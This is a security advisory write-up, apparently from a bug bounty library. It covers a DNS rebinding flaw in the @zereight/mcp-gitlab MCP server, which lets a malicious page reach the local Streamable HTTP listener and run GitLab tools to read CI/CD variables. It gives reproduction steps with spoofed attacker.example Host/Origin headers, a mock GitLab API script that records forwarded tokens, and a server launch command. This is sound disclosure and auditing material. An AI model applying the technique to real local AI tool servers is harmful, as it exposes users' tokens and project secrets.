# @zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport

@zereight/mcp-gitlab's Streamable HTTP MCP transport lacks Host/Origin allowlisting, letting DNS rebinding reach the local listener and run GitLab tools with a supplied token.

- Payout: Research
- Severity: critical
- Program: @zereight/mcp-gitlab
- Found by: avishaigonen-pluto, yotampe-pluto
- Disclosed: 2026-09-15
- CVE: CVE-2026-61568
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vmp7-252j-cwp7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vmp7-252j-cwp7
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:llm tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** Streamable HTTP MCP endpoint (/mcp) on loopback Express server
**Root cause:** StreamableHTTPServerTransport is constructed without enableDnsRebindingProtection/allowedHosts/allowedOrigins and no Express middleware rejects unexpected Host or Origin before /mcp, so loopback binding is the only boundary.
**Steps:**
1. Start fake GitLab API on 127.0.0.1:18082 recording forwarded tokens.
2. Run affected server: `STREAMABLE_HTTP=true REMOTE_AUTHORIZATION=true HOST=127.0.0.1 PORT=8082 node build/index.js` at commit 74a8c83.
3. POST `initialize` to `http://127.0.0.1:8082/mcp` with headers `Host: attacker.example:8082` and `Origin: http://attacker.example:8082`; observe 200 and Mcp-Session-Id.
4. Without token, `tools/list` returns 401 (remote auth blocks).
5. Repeat with `Private-Token: glpat-...`; `tools/list` succeeds and `tools/call` `list_project_variables` returns planted CI variable.
6. Fake GitLab API witness shows the token forwarded to `/api/v4/projects/.../variables`.
**How found:** Code review of index.ts transport setup: noticed express.json() mounted globally with no Host/Origin allowlist and StreamableHTTPServerTransport constructed without the SDK's DNS-rebinding options, while default HOST is 127.0.0.1 — the exact target of rebinding.
**Exploitation:** A malicious page uses DNS rebinding so the victim browser resolves an attacker domain to 127.0.0.1, sending requests to the local MCP listener with attacker-controlled Host/Origin. The server accepts them and processes MCP initialize; if a GitLab token is browser-suppliable or an authenticated session is reused, tools/list and GitLab API tool calls execute and return sensitive project data like CI/CD variables.
**Escalation:** Chaining the transport bypass with a supplied or reused GitLab token escalates from cross-origin reachability to reading project CI/CD variables and other GitLab API data.
**Insight:** When auditing MCP/Streamable HTTP servers, check whether StreamableHTTPServerTransport sets enableDnsRebindingProtection/allowedHosts/allowedOrigins; loopback binding alone is not a boundary against DNS rebinding, and auth checks on tool calls do not cover the HTTP transport.

## Proof of concept (copied exactly from the original report)

**Fake GitLab API recording forwarded token**

```
python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler):
    def _json(self, status, payload):
        data = json.dumps(payload).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def _record(self):
        parsed = urlparse(self.path)
        with open(WITNESS, "a", encoding="utf-8") as f:
            f.write(json.dumps({
                "method": self.command,
                "path": parsed.path,
                "query": parse_qs(parsed.query),
                "authorization": self.headers.get("authorization"),
                "private_token": self.headers.get("private-token"),
                "job_token": self.headers.get("job-token"),
            }, sort_keys=True) + "\n")

    def do_GET(self):
        self._record()
        path = urlparse(self.path).path
        if path == "/health":
            self._json(200, {"status": "ok"})
            return
        if path.startswith("/api/v4/") and not (
            self.headers.get("authorization") or
            self.headers.get("private-token") or
            self.headers.get("job-token")
        ):
            self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
            return
        if path.endswith("/variables"):
            self._json(200, [{
                "key": "PRODUCTION_DEPLOY_TOKEN",
                "value": FAKE_SECRET,
                "protected": True,
                "masked": False,
            }])
            return
        self._json(200, {"ok": True, "path": path})

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY
```

**Server startup command with loopback host**

```
STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js
```

